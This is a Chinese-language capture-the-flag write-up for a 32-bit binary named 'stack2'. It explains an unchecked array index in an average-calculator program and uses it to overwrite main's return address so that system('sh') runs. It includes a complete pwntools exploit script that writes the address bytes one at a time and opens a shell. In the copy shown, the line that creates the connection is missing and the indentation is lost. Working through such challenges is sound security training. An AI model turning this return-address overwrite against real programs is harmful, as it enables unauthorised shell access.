完成于2023年8月2日
最后修改于2023年9月4日
checksec检查
有栈保护
程序主体是一个计算平均数的计算器,存在漏洞的点是数组越界,没有对数组下标进行限制,所有可以对任意地址进行修改
该程序中存在system("/bin/bash)
,所以可以利用数组越界去修改函数返回地址,来getshell。
只要得到main
函数的返回地址在栈中与数组的偏移就可以进行修改。
在ida中查看main函数的stack,数组距离main返回地址的偏移为0x70+4 -> 0x74(==好像和canary有关==)
在调试过程中,确定main函数的返回地址与数据首地址的偏移。
确定偏移后,就可以利用了,但是在本题中无法直接使用system('/bin/sh')
,需要重新构造一下。
可以把/bin/bash
截断,将sh
传给system利用sh
从87开始system
可以直接利用call system
的地址,也就是0x080485B4
完整exp如下
from pwn import*
context.log_level = 'debug'
# sh = process("./stack2")
sh.recvuntil("How many numbers you have:")
sh.sendline(b'1')
sh.recvuntil("Give me your number")
sh.sendline(b'1')
def change(addr, num):
sh.recvuntil("5. exit")
sh.sendline(b'3')
sh.recvuntil("which number to change")
sh.sendline(str(addr))
sh.recvuntil("new number:")
sh.sendline(str(num))
change(0x84, 0xB4)
change(0x85, 0x85)
change(0x86, 0x04)
change(0x87, 0x08)
change(0x88, 0x87)
change(0x89, 0x89)
change(0x8a, 0x04)
change(0x8b, 0x08)
sh.sendline(b'5')
sh.interactive()